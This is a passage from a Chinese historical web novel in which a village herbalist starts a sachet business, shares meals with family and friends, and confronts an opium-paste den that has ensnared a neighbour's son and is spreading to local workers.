孟雨兰有点慌张的解释道:“我不是要钱的意思,能帮上你我很高兴,别说是香囊了,就是千里江山图我都绣得,一分钱不要的那种。” 许芷看对方慌乱的样子,微微愣住,紧接着解释:“不是,雨兰姐,我本就打算给钱,因为我要想办法做点别的生意,这香囊就是我想的一部分,既然是生意给钱是正常的。” 第135章 进城买布 孟雨兰心想就算是生意,她不要钱也应该,这样许芷还能少花钱多挣钱。 她刚想开口,王茹娇就过来了,打断了她们两个。 “小芷,干嘛呢?” “没啥,跟雨兰姐商量明日去城里买点东西。” 许芷缓缓道。 王茹娇哦了声,没再问下去。 而孟雨兰看着王茹娇没精打采的样子,关心道:“娇娇,你怎么看着这么累呢?” 不问还好,一问王茹娇深深地叹了口气。 “你们不知道,最近我三叔三婶不知道咋了,老吵架,尤其是晚上,整宿整宿的都能听到那边摔东西的声音。” 一听这个,孟雨兰惊讶道:“不会吧?我看你三叔三婶平日里挺好的呀。” “谁说不是呢。”王茹娇哀叹道:“谁知道他们最近怎么了,关键是我哥还去问了,但是两人都说没事,我们也不能强问。” 许芷插了句:“清官难断家务事。” “没错!”王茹娇深表赞同:“我哥也是这么说的,说让我忍一忍,再大的别扭总有解开的一天,只要他们不愿意跟我们说,我们就不该多管闲事。” 闻言,孟雨兰轻轻摇摇头,摸了摸垂头丧气的王茹娇,开解道:“你哥说的不错,你呀只能先忍着。” 许芷看着王茹娇那小脸都熬黄了的样子,不忍心道:“要不晚上你来我家跟我睡,不想跟我挤的话,厨房下面还有间屋子,就是简单了些。” 听到这话,王茹娇瞬间清醒来劲儿了。 “就等你这句话了,等着我啊,我现在就回家收拾东西去。” 话都没说完,人都跑出去了。 孟雨兰摇头笑道:“这丫头......” 等到王茹娇收拾了两件衣服和自己平时睡觉喜欢抱着的枕头过来的时候,许芷已经把厨房下面那间房收拾好了。 王茹娇一看直接拒绝道:“我可不想一个人住这下面,我要跟小芷一起睡。” 说着整个人就要往许芷身上贴,许芷皱眉躲了下。 早知道刚刚就应该直接说把下面这间收拾出来给她住,还提供什么选择。 王茹娇高兴地冲进了许芷的房间,将东西都放好。 直接脱了鞋就要上床。 后面跟着过来的许芷拦住她:“怎么这会儿要睡?” 已经下午了,快到吃饭的时候,这会儿睡了怕她晚上睡不着,所以才拦着。 但是王茹娇已经钻进了被窝,故意眨巴着眼睛可怜兮兮的看着许芷道:“小芷,我好几日都没睡好了,你就让我安静的睡会儿吧。” 许芷只好答应了她,告诉她吃饭的时候会叫她。 “嘿嘿,好呢,小芷。” 说完王茹娇闭上眼,顷刻就睡着了。 许芷心想这还真是困极了。 到了吃饭的时候,许芷过来叫她,看到她还睡得熟,就没忍心叫她,让她睡吧。 给她留了饭在小炉子上温着。 不过留的这饭最后成了第二日王茹娇的早饭,谁也没有想到,王茹娇这一觉竟然直接睡到了第二日。 王茹娇醒的时候,许芷刚洗过脸,正在梳妆桌前梳头发。 “这一觉睡得,真好啊。” 王茹娇伸着懒腰说着。 闻言,许芷转头看到王茹娇气色好了不少,就知道她这一觉睡得有多好。 她让王茹娇先穿衣服起来,她去给她打洗脸水。 许芷这床本身就软,她铺了两层褥子,又烧着火,被窝暖和又柔软,可不就睡得好。 起来收拾过,吃过早饭,王茹娇跟着许芷和孟雨兰去了城里。 她自己在家也无聊,不如跟着去凑热闹。 许芷在路上跟孟雨兰说了香囊要卖给谁,让她决定选什么颜色布料和花样,要买的线都考虑好。 她考虑需要香囊日常预防的主要是两种人,一种是有陈年旧疾的老人,还有一种是身娇体弱的孩童。 除此之外可以选一些年轻些的男女用的香囊。 孟雨兰听过心里已经有数。 而王茹娇听到许芷要做香囊,她不解的问:“小芷,你做那么多香囊干啥啊?” 她心想又是老人又是孩童的,该不会是要给村里人做的吧,故而她提醒道: “小芷,这村里人可不少,你做这些未必有人领情。” 这倒不是她小气,而是有些人确实不行。 你好心给了这些东西,他们只会觉得为什么不直接给银子。 到时候再闹一场得不偿失。 “不是。”许芷当然知道王茹娇说的是对的,所以她说道:“我这是做另外的生意,不过现在只是想法,你可别说出去。” 王茹娇一听郑重保证自己绝对不会说出去。 到了城里,她们三人直接去了布行。 铺子的小厮见她们三人,热情的迎上去。 正好他们铺子今日上了几套不错的成衣,可以推销一下。 只是许芷和孟雨兰直接去看了布料,没有往成衣那块去。 王茹娇倒是没事儿干,所以她顺着小厮的话去那边看成衣。 孟雨兰挑了点红棕色、黛紫色和荷叶绿这种尊贵大气的颜色,用来做上了年纪的人的香囊。 又挑了颜色鲜艳些的红色、桃色、黄色,用作给小儿做香囊。 剩下的又挑了月牙白和黑色,用来做些普遍样子的香囊。 一般老人用的香囊多绣些梅花、菊花、荷花等,要的线红色、黄色、绯色居多。 小儿的香囊多绣些虎、兔、猴子什么的,若要绣得精巧需要的线就不是简单的黑色、黄色,是要仔细挑的。 还有香囊上的珠子也是要根据配色图案去配的,不是那么简单的事情。 这样一看选布料反而是她们做的最快的事情,光是选线就花了半天有余。 这不是许芷的专长,也帮不得孟雨兰,只能安静的在一边等着孟雨兰慢慢挑。 而一边的王茹娇已经拿下了一套成衣,她现在花钱可不太束手束脚。 毕竟一年有那几百两银子,买一身衣服绰绰有余。 她看许芷没事干,就换上新衣服让许芷帮忙看看。 在许芷面前转了圈,问许芷好不好看。 许芷刚想回答好看,却见王茹娇不知道看到了谁跑了出去。 她跟上去看到王茹娇站在那往人群里望,好像在寻找刚刚看到那人。 “找谁呢?” 许芷问道。 王茹娇皱眉寻着,也不忘了回答许芷的话:“我堂嫂,见她急匆匆的不知道有什么事儿,出来人就没影了。” 闻言,许芷没有多想,只道:“可能忙着吧,走吧回去吧。” 第136章 吃蜜汁鸡 孟雨兰挑到了下午才挑好,三人又去了怀清堂,许芷买了些需要的药材。 买完出来都有些饿了。 因为今日王茹娇买了衣服,心里高兴,要请许芷和孟雨兰吃饭。 两人也不跟她客气,只是许芷下意识的挑了便宜的铺子。 但是王茹娇不肯,说什么也要带她们两个去酒楼里尝尝。 城里最大的酒楼叫醉春风,三人还没来吃过。 许芷和王茹娇就不说了,跟城里离得远,偶尔来也是紧着事情办或者买东西,不会来这种大酒楼悠闲的吃东西。 孟雨兰之前虽然是城里的,但是家里爹爹自己就是大厨,根本看不上外面的饭菜,所以也不会来醉春风吃。 何况醉春风又贵,不是一般人吃得起的。 王茹娇也是知道这个,自己去年赚了几百两银子就奢侈一回。 进了酒楼,伙计很是热情,问她们想坐在哪里。 同时觉得女子好不容易出来,肯定想吃饭的时候多看看外面的热闹,给她们推荐了二楼窗边的位置。 这位置又能看到楼下街上的热闹,同时又没那么多人注意她们。 许芷对这个伙计的眼力见很满意。 而王茹娇光顾着兴奋,没注意到这些。 三人坐下后,伙计给三人倒了茶,开口道:“三位娘子要吃点什么?” 王茹娇毕竟没来过,也不知道有什么菜合适,被问了之后反而有点露怯,不知道该说什么。 她只能将求助的眼神放在许芷身上。 许芷自然感受到了,于是她淡然开口道:“伙计,你们这的招牌菜有什么?” 伙计笑的恭维道:“这位娘子,我们酒楼最出名的就是鸡,单单鸡都有好多种做法,有葫芦鸡、荷叶包鸡、生炮鸡、濡鸡、蜜汁鸡和夏冻鸡等等,数不胜数,其中就属生炮鸡和蜜汁鸡卖的最好,三位小娘子你看要不要试试?” 王茹娇光听名字都流口水,她着急的说道:“那就尝尝你说的生炮鸡和蜜汁鸡。” 说完又看向许芷和孟雨兰,问道:“成不?” 孟雨兰倒是都行,只是许芷觉得两只鸡是不是太多,劝她说:“点一个就成,下一次再来吃也使得,吃不完不是浪费?” 也别说什么吃不完可以回去带给家人吃,既然今天来吃了,肯定每道菜都想尝尝,要不然就不会点。 可是尝过就属于剩菜了,给家里人带剩菜说不过去,不如点一道吃完就成,下次带着家人单独来吃最好。 听到许芷这样分析,王茹娇倒是同意了,但是她不知道该选哪一道,两种她都没吃过。 孟雨兰看出了她的纠结,贴心解释道:“生炮鸡是把斩过的鸡块用特制的酒酱腌过后,滑进滚油里灼熟,这样做出来的鸡块外酥里嫩,油香十足。 而蜜汁鸡则是用蜂蜜和香料腌制过,放进炉子里烤出来的,因为用了蜂蜜外皮脆如纸张泛着丝丝甜味和焦香,颜色为金黄色,光是看着都很有食欲。” 伙计听到孟雨兰的解释笑着夸道:“这位娘子懂行啊,没错这两种鸡的风味就是这般,可以考虑下点哪个。” 刚刚光听孟雨兰的描述,王茹娇已经馋的不行,因为她更喜欢甜一些的东西,所以选了蜜汁鸡。 伙计听到又问:“鸡是整只上,还是帮娘子们撕过再上呢?” 孟雨兰和许芷觉得撕过上比较好,要不然她们还要撕的满手流油,不好清理。 但是王茹娇一听坚决选整只,她喜欢看着鸡腿撕下来的时候流油和流汁水的样子,光是想想就忍不住。 既然王茹娇选了,许芷她们两个人也不说什么,毕竟是她请吃饭,她们两个跟着同意就行。 点过鸡肉,又在伙计的推荐下点了香菇笋干、时令的香椿炒鸡蛋和清炒时蔬,汤点的黄豆猪蹄汤。 因为王茹娇知道孟雨兰饭量大些,所以除过一人一碗的米饭,还点了四个馒头和孟雨兰单独的温面。 温面是将细面煮熟后,浇上一勺鸡丁香菇熬成的卤汁,拌匀后就可以吃。 温面简单,所以上的快,孟雨兰拌匀后三人一人先挑了点尝了尝。 许芷和王茹娇吃过后,都微微点头,但是也就吃一口,等着后面的菜。 而孟雨兰就不客气了,三两口就吃完了这碗面。 接着上了馒头、米饭和香菇笋干、香椿炒鸡蛋和清炒时蔬。 比较麻烦的蜜汁鸡和黄豆炖猪蹄最后才上。 蜜汁鸡一上来,王茹娇兴奋的搓搓手,上手将鸡腿撕了下来。 果然如她所想那般,撕下来的时候还带着油水和汁水,她食欲大开。 将手里的鸡腿塞进嘴里,接着快速地把鸡撕了撕。 因为许芷已经吃的差不多,所以她只夹了一块鸡胸上的肉,吃过就放下了筷子,喝了碗汤就算是结束了。 王茹娇虽然觉得蜜汁鸡好吃,但是也吃不下多少了,硬撑着吃了一个鸡腿、两个鸡翅、一块鸡胸就不行了,最后喝了碗汤溜溜缝。 而孟雨兰见她们俩都不吃了才开始继续吃,竟是将所有的菜和汤都吃完了。 虽然对孟雨兰的食量有认知,但是看到能全部吃完,王茹娇还是很佩服。 吃过后,已经不早了,几人赶紧去了城门口坐牛车回家。 路上许芷觉得还是得买马车,这样出来方便,骑马只能坐两个人,但是马车就多了,要不然马老是放在家里闲着也不是事儿。 等到了村口的时候,天已经完全黑了。 三人往山坳去,刚到家门口,就听到里面有人在哭诉。 许芷先开堂屋的帘子看到王三婶鼻涕一把泪一把的说着什么。 正当她疑惑的时候,王三婶看到她跟看到了救星一般,扑着过来,紧紧的抓住许芷的手。 “许丫头,你精通药理,一定能救我儿子的,求求你救救我儿子吧。” 这话让许芷和王茹娇都懵了。 王茹娇不解的问:“婶子,堂哥不是过了年就去城里了,发生什么事儿了?” 可王三婶只是哭,许芷见状把人按在了凳子上,让她先坐着,平复下心情。 第137章 是阿芙蓉 “三奶奶,你先别急,跟我说清楚怎么回事我才能帮你们啊,我若是什么都不清楚,怎么帮你呢?” 王茹娇在一边也附和道:“对啊,三婶,你得先说清楚发生了啥呀。” 王三婶这才止住了泪,一点点的说清楚王阡身上发生的事情。 “原本我跟他爹心想关他两天,他接触不到那东西,说戒掉也就戒掉了,可是没想到他会变得狂躁不堪,一会儿求我们,一会儿骂我们,难受的直接满地打滚,或者就是砸东西。 刚开始我们以为熬过去就好了,果真他熬过了那一晚第二日便没事人一样,还跟我们道歉。 可是没想到下一次那么快就来了,紧接着一次比一次快,甚至现在直接白天黑夜都是那个样子,我给他爹将他捆起来都不得行。” 说到这,王三婶眼泪又汹涌而出。 “那到底是个啥东西?竟然把我儿子害成这样,如今他整张脸不见一点肉,身上也瘦到皮包骨,这可怎么办啊?” 王茹娇一听也震惊了,原来她每日听到的竟然是堂哥抓狂的动静,根本不是三叔三婶闹了矛盾。 孟雨兰听到第一瞬间想把许芷摘出来。 因为这东西谁都不知道到底是怎么回事,许芷答应了万一是个很棘手的情况,怎么办? 她相信许芷对药的了解程度,可是人不能轻易将事情揽下。 平时三叔三婶夫妻俩人是挺好的,可是现在人急事关儿子,难免会有些拎不清楚。 所以她开口道:“这你让小妹去,怕是也不行吧,小妹是精通药理,但是毕竟从未见她行医救人过。 医术这种事光学是没用的,那得是看了千个万个病人积累下来的,所以还是送怀清堂比较好吧。” 王茹娇也赞同孟雨兰的话,“对啊,小芷从未见她治病救人,不如直接把堂哥送到怀清堂,让那有经验的药师看。” 闻言,王三婶垂头又是一阵哭声,哭完对王茹娇说道。 “我也想啊,可是你三叔说太丢人了,就让他自己自生自灭,若是熬过去了,是他福大命大,熬不过去是他命有此劫。 就连你们都不让说,我是今日把他灌醉了才出来寻你们帮助的,我一个妇人也无法把抓了狂的儿子弄到城里药铺,另一方面我也怕刚一开门他冲出去,冲出去不要紧,但他如今这样子,我怕他伤了人,所以才想着让许丫头去看看。” 闻言,几人沉默着不说话了。 王三婶已经考虑的很周到了,而且这种事其实还是要看许芷怎么想的,她们不能替许芷做决定。 许芷陷入了沉思,她倒是知道有一味药草名为阿芙蓉,乃是前朝从海外传进来的。 刚开始觉得这药有妙用,能止痛治伤寒,可用的多了发现,用药者对此物依赖极强,甚至到了以命博药的地步。 而前朝最后因为此物,上至官员,下至百姓,每日沉浸在其中,最终致王朝覆灭。 所以本朝在此基础上,吸取了教训,明令禁止此物药用。 王三婶的儿子应当是用了此物所以才会如此。 从前是用药,没想到竟有人把此物放在烟膏里,简直是丧心病狂。 但是此物坏就坏在成瘾后难以戒掉,就算是暂时看着戒掉了,只要再见到一定会忍不住。 许芷微微叹了口气,说道:“三奶奶,此物...无比凶险,我只能帮你让王叔消停些。 你们这样他倒是也能暂时戒掉,只是日后万不可让他离开你们的视线,一旦离开他就会想办法再次染上这东西。” 听到许芷的话,王三婶整个人都傻了,这不就意味着她儿子从今以后就是个废人。 她张大着嘴巴,呆坐在那,眼泪不受控的一直滴落。 其他人谁都没说话,都知道许芷话里的严重性。 许久,王三婶才开口,语气满是无奈和心灰意冷。 “我知道了许丫头,那麻烦你让他消停些,娇娇一家人已经睡不好几日了。” 正好许芷今天买了草药,因为有想做安神定气的香囊,正好买了些能让人平静下来的药草。 许芷嗯了声,将今日的草药打开,拿出了小称配好后,跟王三婶交代道:“这一包药你回去就煎上,先把药泡在药罐里半个时辰,接着大火煮沸,转小火熬煮一个时辰便可,水量以药平面为准,没过两个指节为好。” “好。” 王三婶拿了药就要回去。 许芷又多嘱咐一句:“不行明日喂也行,你一个人应当是抓不住他的。” “放心吧,许丫头,我心里有数。” 王三婶心里感激许芷,可是这会儿她心系儿子,着急的先走了,只能等改日再来好好道谢。 见到王三婶走了,几人才松散了些。 邓老太叹了口气什么都没说,回了房间休息。 而孟雨兰也回房间洗洗睡了。 晚上许芷躺在床上,感受着身边王茹娇翻来覆去睡不着,她轻声问:“担心你堂哥?” 王茹娇闻言转过身,有些抱歉道:“实在对不住小芷,吵醒你啦?” 许芷眼睛闭着,缓缓道:“我并未睡着。” 她说的是真的,因为她一直在想今晚王三婶说的话。 这种危害百姓的毒物怎么会堂而皇之的开在闹市,还故意打出首次免费的招数,利用了不少人占便宜的心理。 接着一次比一次贵,不仅赚钱还能控制人不断拉其他人入伙。 本朝对这个东西管控严格竟然还会出现这种情况。 许芷不是管闲事的性子,可是这东西实在危害大。 什么时候她也去探一探,拿到东西就算证据,报官应当是可以的。 身侧王茹娇叹了口气,不解道:“怎么会有这种害人的东西,为了赚钱简直丧尽天良。” “可不是,听说这东西用多了,人直接就废了,肩不能抗手不能提,只能日日缩在床上。” 许芷说完才发觉这话似乎吓到了王茹娇,她又补充说:“不过你堂哥这发现得早,一定没事,你也看到了,他看起来还是健硕的样子,只是发作的时候厉害。” 回应许芷的只有一阵叹息声。 许久,王茹娇拍了拍许芷的手背,道:“睡吧小芷。” 第138章 拴羊故事 第二日,一大早王三婶又来了,她面色好了些。 她来是感谢许芷的。 “许丫头,多亏了你的药,我儿子喝了之后,果然睡过去了。” 说着拿了银子来给许芷,说是药钱。 但这钱许芷怎么都不能收,王三婶夫妇因为给儿子还钱的事情本就捉襟见肘,这钱还是她借的,如何能拿得? 所以她把钱重新塞回王三婶的手里,说道:“三奶奶,钱的事能日后卖了药材再说,如今先记着。” 这样说王三婶就不会再坚持了。 果然听到这话,王三婶就歇了给她钱的心思,但是她都记着,会都还给许芷的。 王三婶来还有一件事,那就是想让许芷去看看她儿子该怎么办。 如今人是安静了,可是这瘾还在,光是这样简单粗暴的关着就行? 许芷想了想道:“捆着是一个办法,同时可以弄点其他的东西转移他的注意力,比如他每次想的时候,就给他吃糖,久而久之他会用糖去代替,会好些。 还有刺激他,但是这个法子有些......只怕你不舍得。” 王三婶一听满口保证:“只要能把这小子治下,什么法子我都成。” 闻言,许芷才开口道:“从前我听过一个拴羊的故事,说刚买的羊回来并不会老实的被拴着,会不停地磨绳子,寻求解脱。 但是每次在小羊磨绳子的时候,都鞭打它,久而久之它会把磨绳子等同于鞭打,就不敢了。 同时因为长久的拴着绳子,日后就算是解开了绳子,羊也不会跑,还老实的站在拴它的木桩前。” 听完,王三婶明白了,她也知道为啥许芷说怕自己舍不得。 可是儿子再不管就废了,任由这样下去死都有可能,所以还不如狠一些。 “我明白了许丫头,如今我被这些事儿缠着,等我了结后,一定厚谢你。” 王三婶眼眶含泪,郑重地说道。 许芷嗯了声,让王三婶现在以儿子为重,其他的事先不用考虑。 三日后,徐青云来许芷家让王茹娇回家住,说是隔壁王三叔家没什么动静了。 王茹娇也不好一直打扰许芷,所以跟着嫂子回去了。 她在路上还侧面问了问嫂子知不知道这件事,但是徐青云只说是觉得王三叔两口子不吵架了,所以才消停。 王茹娇一听就知道这事儿他们还不知道,她心想不知道也行,知道了指不定要多担心。 许芷这边忙着制香囊,暂时把这件事放在了脑后。 她主要制了三种香囊,第一种是驱蚊避秽的,主要是夏天或者上山用,一种是安神助眠的,剩下的是春秋两季用来防风寒发热的。 其实这三种细分下来,每一种也能分个七八种,但是现在主要是试的阶段,所以没弄那么多。 这几日,孟雨兰日日绣香囊,而许芷则是把药材按比配好,用小纱布装起来。 孟雨兰做了二十个香囊,小儿样式的一共七个,年长的人用的一共八个,剩下的五个。 许芷给年长的配的主要是安神助眠的,人一旦年龄大了,容易睡不好。 给小儿配的是防风寒发热的,其他的就是驱蚊避秽的。 其实这三种所有人都能用,只是暂时要弄三种定位人群的香囊,暂时先这样。 孟雨兰和许芷在堂屋里给每个香囊里放配好的药材。 放好后,孟雨兰看着一桌子的香囊问道:“你打算怎么卖啊?” 许芷看着面前的香囊,开口道:“不卖,送。” “什么?” 孟雨兰很是不理解的看向许芷。 这布料和这药材可没少花钱,就不说花钱,两人又做了这些天,用了这么多功夫做出来的香囊竟然要送出去? “小妹,你比我清楚这香囊你花了多少钱,怎么不卖反而送呢?” 许芷倒是淡然:“东西总要打开了招牌才能卖的出去不是?” 孟雨兰心想确实是这么个道理,她又问:“那我们要送给谁呢?” 许芷已经想好了,因为现在地里还没忙起来,舅舅邓耧子还是去跟着做工了。 就让舅舅拿着去做工,若是有人注意到问起来,就介绍介绍,一定会有人需要的,这样慢慢积累名气。 她不打算搞什么一炮而红的营销,这些算是药用品,不是那种磨喝乐,需要的是一个由头火起来,卖的是热度和人们的情怀。 这种实用的东西还得是口碑好用是王道。 先慢慢渗透这香囊的好处,慢慢的十里八乡都知道了,再把铺子开起来才好。 除了香囊,她觉得也可以试一试做皂儿膏、洗发膏什么的。 做好了先让周边的人试用试用,若是觉得可以再推行。 想到这,许芷扭头问孟雨兰:“雨兰姐,布还多吗?” “还多呢,上次你买了不少,就这点香囊可用不了多少。” 孟雨兰回道。 许芷点点头道:“那行,麻烦雨兰姐做两个枕头,给祖母和娇娇的奶奶用,我会做个安神的药包到时候枕头做好了还要麻烦雨兰姐缝进去。” 孟雨兰一听就这点小事儿,打包票两日就能做好,就是需要许芷去买些荞麦回来,荞麦枕头睡了对脖子好。 说完还问许芷:“小妹,要不我多做一个,给你也弄个新枕头?反正做一次呢。” 许芷想了想也成,“那你多做两个吧,给你自己也做个,我给你调个安神静心的药包,到时候缝进去你睡得好。” “成。” 孟雨兰高兴的应下。 当天,许芷就骑着马去了镇上买了二十斤荞麦。 回来的时候正好见到了下工回来的舅舅邓耧子,她到了舅舅面前勒马停下。 “舅舅。” 许芷翻身下马,问候道。 张家兄弟两个也跟舅舅一起回村,下马后,许芷微笑跟两人颔首。 张立柱和张铁牛也笑着跟她打招呼。 邓耧子笑呵呵的问许芷:“小芷,这是去哪了?” “买了些荞麦。” 许芷拍了拍马背上驮着的荞麦说道。 邓耧子嗯了声没继续说什么,让许芷骑着马先回去吧,他们三个人走得一会儿呢。 正好许芷看到了有不错的大鲤鱼,买了两条,想让孟雨兰回去做。 提前回去提前做上,能早些吃,就上了马先回去。 第139章 豆腐炖鱼 回家的时候,孟雨兰正在厨房里做饭,祖母在一边剥蒜。 出了正月,就不需要冬天挂着的厚帘子,就取了下来。 许芷拎着荞麦进去,把荞麦放进了柜子里。 “回来啦。” 邓老太头也不抬的问她。 许芷嗯了声又出去了,因为刚刚拿荞麦不方便拿鱼,这会儿再出去把鱼拿回来。 等她拿着两条鱼进来的时候,邓老太看到,哎呦一声:“这么大条鱼,你买两条?” 这两条都是死了的鱼,放肯定是放不住,只能今晚全都吃了。 “能吃的完。” 许芷肯定的说着。 如果她没猜错,舅舅今晚要回来吃饭了。 邓老太一脸不信,她跟雨兰已经准备了两个菜,还蒸了大包子,这两条鱼做完怎么可能能吃完呢? 孟雨兰饭量再大,也不可能。 不急着跟祖母争辩这些个,许芷转头问孟雨兰打算怎么做。 孟雨兰转头看了下鱼的体量,微微思索道:“一条跟豆腐炖了吃,一条我片了做酸菜鱼吃。” “成。” 许芷拿着小刀出去收拾鱼。 不过一刻,她拿着已经开膛破肚、刮过鱼鳞,洗干净的鱼回来了。 将鱼放在了案板上,跟让孟雨兰继续料理。 她做菜不行,所以刀功也不成,片片这种她还是留给大厨孟雨兰来吧。 这边孟雨兰已经把锅和配菜都准备好了。 她先把其中一条鱼片好,放了盐、黄酒、葱姜和蛋清腌上。 然后趁着腌的功夫先把另外那条鱼给做了。 热锅凉油,在锅里撒一点盐,一整条鱼先放进去煎。 等到一边煎定了型,再翻过去煎另外一面。 两面都煎好放水,蒯一勺去年孟雨兰用大豆沤的酱,再放上盐、酱油等调料,等水烧开放上切好的豆腐块。 小火炖煮入味,豆腐炖鱼就可以了。 酸菜鱼比豆腐炖鱼要麻烦一些。 先把刚刚片鱼留下的鱼骨放进锅里煎出香味,然后把切好的酸菜放进去炒出酸香味,倒水煮开,放进调料。 先煮配菜,配菜煮好了之后捞出,接着下鱼片,不能急着一下子下完,要一片片的下,这样才不会粘在一起。 下进去之后不能着急搅动,等到鱼片浮起捞出放在刚刚煮好的菜上面,把汤也一起倒进去。 最后,在面上放上一点蒜末和花椒,热油一泼就算成了。 鱼刚做好,邓耧子就回来了。 听到儿子的声音,邓老太还有些不敢信,“这臭小子怎么知道回来了?” 紧跟着听到了小业和笑笑的声音。 “奶奶,我们来啦。” 许芷低头浅笑,果真让自己猜中了。 舅舅看到自己带的那两条鱼,肯定要哄着刘喜英过来吃的。 就是不知道舅舅怎么说的,把人真的哄了来。 两个孩子先进来,高兴的围在邓老太身前,一人一句想她了,把老太太哄的合不拢嘴。 而刘喜英跟着扭捏的进来了,她不好意思的笑了笑说道:“婶子,孩子们非要来玩,我......” 邓老太早就被两个小家伙俘虏了,所以满不在意的说道:“以后孩子们想来玩,随时都行,可不要拘着他们,小业和笑笑来,我这个当奶奶的不知道多高兴。” 这句话刚说完,邓耧子就进来了。 明明是最先听到他的声音,反而进来的这么晚。 一进来就听到这话,他笑的有些傻气,飞快的看了眼刘喜英,正好两个人对上眼神。 他故作挑眉,好像在说,你看吧我就说我娘喜欢小业和笑笑。 刘喜英瞪他一眼,让他别那么明显,随即赶紧移开了视线。 这一切都被许芷尽收眼底,许芷微不可查的摇摇头,心想果真是感情正热,两个人怎么都藏不住。 邓老太热情的招呼他们一起吃饭,于是这一桌直接坐满了。 孩子们看到有鱼吃,也兴奋的很。 饭桌上热热闹闹的,邓老太高兴,多吃了一点。 正吃着饭,邓老太想起了许芷刚刚那肯定的样子。 突然开口道:“我这外孙女能掐会算的,做饭前我还说这鱼都做了吃不完,可这丫头偏说能吃完,原来是算到了小业和笑笑会来陪我。” 此话一出,邓耧子和刘喜英瞬间如临大敌,齐齐看向了许芷。 许芷感受到两人的视线,她谁也不看,淡定的挑着碗里那块鱼肉的刺,吃进嘴里之后,才开口道:“我回来的时候见到了舅舅,想着小业和笑笑很久不来,就拜托舅舅去邀请他们,想着祖母能开心些。” 闻言两人埋头吃饭不敢吭声。 生怕邓老太的视线转移到他们的身上。 邓老太一听这话,高兴道:“还是我外孙女好,知道我想抱孙子,就把笑笑和小业叫来了。” 刘喜英脸色讪讪:“是我们脸皮厚了些。” “哎?”邓老太不满道:“别这么说,我喜欢这俩孩子,就是天天来家里吃饭都使得。” 这种话听起来太生分了,孤儿寡母本就不容易,她们多照顾些也没什么。 邓耧子也跟着道:“没错,娘说得对,她喜欢这俩孩子。” 喜欢这两个字咬的格外重。 说的刘喜英头也不敢抬,局促一笑继续吃饭。 邓耧子见她实在不自在也不敢多说什么,让她心里不舒服。 为了缓和气氛,开口说起了别的事。 “最近不知道怎么回事,我们一起做工的弟兄好几个看起来心不在焉,有两个甚至不怎么来了。” 许芷想到了那烟膏,她主动问舅舅具体是怎么个心不在焉法。 “嗐,能有啥,干活不行呗,也不知道在想啥呢,手里还拿着砖呢,说掉就掉了,还好没砸到人。” 邓耧子不慎在意的说着,他本就是为了缓解气氛开口说的话,所以没打算深入话题。 而且那几个都是有媳妇儿的,不是夜里忙了些,就是最近可能家里有事儿没睡好,故而不放在心上。 可许芷不这么想,她想知道具体怎么回事。 可见舅舅根本不在意,也说不清楚,她只好自己问。 “舅舅,这些人是不是做工时突然就开始浑身颤抖、冒汗,整个人好像水洗了一般,脸色发黑,眼眶凹陷?” 本来还不在意的邓耧子,听到外甥女能这么详细的说出那些人的样子,他突然觉得不对劲,神色也认真了起来。 “没错,你怎么会知道。” 他问道。 第140章 祸国殃民 果然是那烟膏的事情,许芷心想。 她又问道:“舅舅,你知道逍遥馆吗?” “当然知道了。”邓耧子不假思索道:“最近老听大家说到,说是那家有个什么烟膏舒服得很,还叫着让我去呢。” 许芷一听这个如临大敌,立刻紧张的问道:“舅舅,你没去吧?” “没啊。”邓耧子看着外甥女紧张的样子,虽然疑惑还是老实回答:“他们说头一次免费,好多人都去占便宜,我不抽烟,也觉得没有掉馅饼的事儿,就拒绝了几次。” 确定舅舅没去过,许芷松了口气,随后严肃叮嘱舅舅:“舅舅那烟膏有问题,可千万别去逍遥馆,身边的人要是想去,最好也劝一劝,若是劝不住......” 许芷停顿了片刻,有些无力道:“总之尽量劝吧,别沾染那东西。” 邓老太也跟着说:“没错,你不知道王家那小子成什么样了。” “祖母。”许芷听到祖母提到王阡,赶紧开口阻止。 她们答应王三婶了,这件事要保密,谁都不能说。 听到许芷阻止自己,邓老太也想起来自己不该说的,直接闭了嘴,不再说话。 可话已经说出去了,邓耧子意识到了这事儿不简单,他问道:“哪个王家?” 邓老太囫囵道:“你管哪个家,总之你就听小指儿的,那东西不是什么好的,死都不能碰。” 知道这件事应当是不能说,所以邓耧子没再继续问,他只是点了点头,陷入了沉思。 而一边的刘喜英结合他们的话,想到了什么,有些胆怯的开口:“许丫头,前几日我好像也听到张四平说到了这个逍遥馆,就是不知道他沾了那东西没有。” “什么!” 许芷知道这种东西蔓延起来很快的。 一个村子的,但凡有人知道了,因为无知和头一次免费这点,会迅速传播开。 她知道后,吃饭的心思都没了,放下碗筷就要出去。 孟雨兰不解的冲她的背影问道:“去哪啊小妹?” 邓老天已经猜到了外孙女要去哪,她没问,但是也开口道:“吃过饭再去。” “不吃了,这种事还是尽早说的好。” 许芷回头皱眉道,说完赶紧出去了。 邓老太担心的望了一眼,把儿子的筷子夺了,看着儿子懵的脸道:“快去跟小指儿一起去里正家,她一个姑娘家晚上不安全。” 邓耧子闻言赶紧跟了上去。 到里正家的时候,里正一家刚吃过饭,正在收拾。 里正媳妇儿看到许芷来,亲热热的叫了声:“许丫头,怎么这么晚来了?” “张奶奶,我找里正有事。” 许芷再急也很得体的挂着笑回应着对方的话。 里正媳妇儿听到,招呼她进了堂屋。 而里正听到媳妇儿说许丫头的时候,就知道许芷来了,赶紧去了里屋,拿了点瓜子出来待客。 许芷进去的时候,里正刚捧了一大把瓜子放在桌子上。 回头看到许芷和邓耧子,笑着招呼他们坐。 “许丫头,怎么这么晚来了?可是地里有什么事情要同我商量啊?” 里正笑的和蔼,顺手在那一堆瓜子里,分了一部分推到许芷的面前。 许芷没心思吃,直接进入主题。 “里正,我想问您最近有没有听过城里开了一家名为逍遥馆的铺子?” 里正呸呸呸的呸下了粘在了嘴上的瓜子皮,摇头否认道:“这是什么新铺子?跟咱们的药田有关系?” “没关系。”许芷回道:“我也不跟里正绕弯子了,那逍遥馆是个烟馆,里面有一种烟膏用的是阿芙蓉,您知道阿芙蓉吗?” “啥!” 里正手里的瓜子掉了一地,表情龟裂。 他怎么可能不知道阿芙蓉,前朝就是因为这个灭国,所以本朝一直对这东西都是深恶痛绝的态度。 虽然他们并没有接触过这种东西,可是前朝的悲剧他们不是不知道。 为官者,哪怕只是他这个小小里正,每一年都要被叫去府衙开会,强调这东西有多么的祸国殃民。 怎么会有堂而皇之用这种东西的烟馆? 许芷看里正的反应,就明白里正是知道这东西的害处的。 “这东西已经在城里传开了,现在开始往咱们这边的村里蔓延,我今日偶然听得,您的侄子张四平提到了这个烟馆,不知道是否去过,但去没去过只要有人知道,都得尽快掐灭这种苗头。” 